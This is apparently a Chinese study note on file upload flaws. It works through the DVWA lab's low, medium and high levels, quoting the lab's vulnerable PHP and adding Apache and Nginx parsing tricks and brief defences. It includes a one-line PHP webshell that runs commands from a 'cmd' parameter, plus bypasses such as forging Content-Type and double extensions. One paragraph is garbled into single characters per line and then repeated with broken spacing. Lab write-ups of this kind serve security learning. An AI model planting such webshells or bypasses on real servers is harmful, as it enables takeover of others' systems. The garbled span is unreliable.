文件上传
概述
Web站点一般会有用户注册的功能,当用户注册之后,大多数情况下都会存在类似头像上传等个性化的设置,这些功能点往往存在上传验证方式不严格的安全缺陷,这些安全缺陷在Web渗透中是非常关键的突破口,只要经过仔细测试分析上传验证机制,往往就能找到绕过验证的方法,进而上传恶意代码获取整个Web业务控制权,复杂一点的情况是配合 Web Server的解析漏洞来获取控制权。
DVWA文件上传
LOW
先看一下源码
<?php
if (isset($_POST['Upload'])) {
$target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/";
$target_path = $target_path . basename( $_FILES['uploaded']['name']);
if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {
echo '<pre>';
echo 'Your image was not uploaded.';
echo '</pre>';
} else {
echo '<pre>';
echo $target_path . ' succesfully uploaded!';
echo '</pre>';
}
}
?>
DVWA_WEB_PAGE_TO_ROOT为网页的根目录,target_path变量为上传文件的绝对路径,basename(
F
I
L
E
S
[
′
u
p
l
o
a
d
e
d
′
]
[
′
n
a
m
e
′
]
)
将
文
件
中
已
经
“
u
p
l
o
a
d
e
d
”
的
文
件
的
名
字
取
出
并
加
入
到
t
a
r
g
e
t
p
a
t
h
变
量
中
。
i
f
语
句
判
断
文
件
是
否
上
传
到
指
定
的
路
径
中
,
若
没
有
则
显
示
没
有
上
传
。
总
的
可
见
,
此
级
别
没
有
对
上
传
文
件
的
类
型
进
行
任
何
的
过
滤
,
也
就
是
可
以
随
意
上
传
p
h
p
文
件
。
<
b
r
>
所
以
直
接
上
传
一
个
一
句
话
木
马
‘
<
?
p
h
p
e
c
h
o
s
h
e
l
l
e
x
e
c
(
_FILES['uploaded']['name'])将文件中已经“uploaded”的文件的名字取出并加入到target_path变量中。if语句判断文件是否上传到指定的路径中,若没有则显示没有上传。总的可见,此级别没有对上传文件的类型进行任何的过滤,也就是可以随意上传php文件。<br> 所以直接上传一个一句话木马`<?php echo shell_exec(
FILES[′uploaded′][′name′])将文件中已经“uploaded”的文件的名字取出并加入到targetpath变量中。if语句判断文件是否上传到指定的路径中,若没有则显示没有上传。总的可见,此级别没有对上传文件的类型进行任何的过滤,也就是可以随意上传php文件。<br>所以直接上传一个一句话木马‘<?phpechoshellexec(_GET[‘cmd’]);?>`他这里可以直接看到路径加上cmd参数可以直接使用命令。
Medium
查看源码
<?php
if (isset($_POST['Upload'])) {
$target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/";
$target_path = $target_path . basename($_FILES['uploaded']['name']);
$uploaded_name = $_FILES['uploaded']['name'];
$uploaded_type = $_FILES['uploaded']['type'];
$uploaded_size = $_FILES['uploaded']['size'];
if (($uploaded_type == "image/jpeg") && ($uploaded_size < 100000)){
if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {
echo '<pre>';
echo 'Your image was not uploaded.';
echo '</pre>';
} else {
echo '<pre>';
echo $target_path . ' succesfully uploaded!';
echo '</pre>';
}
}
else{
echo '<pre>Your image was not uploaded.</pre>';
}
}
?>
这里较low增加了
$uploaded_name = $_FILES['uploaded']['name'];
$uploaded_type = $_FILES['uploaded']['type'];
$uploaded_size = $_FILES['uploaded']['size'];
文件名,文件类型,文件大小这里直接上传就传不上去了
因为在if语句中判断上传文件的类型是否为“image/jpeg”和大小是否小于100kb。这里也只是简单地设置检测文件的类型,因此可以通过burpsuite来修改文件的类型进行过滤即可。
将content-type:改为image/jpeg可和上面一样得到路径。
High
查看源码
<?php
if (isset($_POST['Upload'])) {
$target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/";
$target_path = $target_path . basename($_FILES['uploaded']['name']);
$uploaded_name = $_FILES['uploaded']['name'];
$uploaded_ext = substr($uploaded_name, strrpos($uploaded_name, '.') + 1);
$uploaded_size = $_FILES['uploaded']['size'];
if (($uploaded_ext == "jpg" || $uploaded_ext == "JPG" || $uploaded_ext == "jpeg" || $uploaded_ext == "JPEG") && ($uploaded_size < 100000)){
if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {
echo '<pre>';
echo 'Your image was not uploaded.';
echo '</pre>';
} else {
echo '<pre>';
echo $target_path . ' succesfully uploaded!';
echo '</pre>';
}
}
else{
echo '<pre>';
echo 'Your image was not uploaded.';
echo '</pre>';
}
}
?>
通过这句
$uploaded_ext == "jpg" || $uploaded_ext == "JPG" || $uploaded_ext == "jpeg" || $uploaded_ext == "JPEG") && ($uploaded_size < 100000
可知high级别限制了文件后缀名可以继续用burp改包。或者直接把1.php的文件名改为1.php.jpg也可以传上去
利用
1、结合解析漏洞:
1、直接解析(几乎没有防御):
比如直接上传一个扩展名是.php 的文件,只需要简单地绕过客户端javascript 检测或者服务端MIME 类型检测就行了。
2、配合解析(有一定程度的防御):
可以理解为先将代码注入到服务器上,上传一个带有一句话木马的图片或文件,等待一个解析的配合来实现攻击。
(1)、本地文件包含解析:主要是PHP本地文件包含
(2)、.htaccess文件解析
(3)、Web应用程序解析漏洞以及其原理:
1.Apache 解析漏洞:
解析: test.php.abc(其中abc为任意不属于黑名单且也不属于Apache解析白名单的名称)
描述:一个文件名为x1.x2.x3的文件,Apache 会从x3的位置往x1的位置开始尝试解析,如果x3不属于Apache能解析的扩展名,那么Apache会尝试去解析x2的位置,这样一直往前尝试,直到遇到一个能解析的扩展名为止。2.Nginx 解析漏洞:
解析:abc/def.php 或 abc%00.php (其中abc、def都为任意文件名)
描述:目前Nginx 主要有这两种漏洞,一个是对任意文件名,在后面添加/abc.php 的解析漏洞,如原本文件名是test.jpg则可以添加为test.jpg/x.php进行解析攻击。还有一种是对低版本的Nginx 可以在任意文件名后面添加%00.php 进行解析攻击。
2、结合文件包含漏洞:
首先上传一个1.txt的文件<?php phpinfo();?>
在文件包含漏洞中会将该文件以PHP来运行。
检测方法
直接上传各种类型的文件,再通过Burpsuite修改各个可以绕过的检测内容来检测
防御方法
搬运
1、客户端JavaScript检测:通常为检测文件扩展名)
2、服务端MIME 类型检测:检测Content-Type内容)
3、服务端目录路径检测:检测跟path参数相关的内容
4、服务端文件扩展名检测:检测跟文件extension 相关的内容
目前防御方法学习还没有进行完还需要继续学习。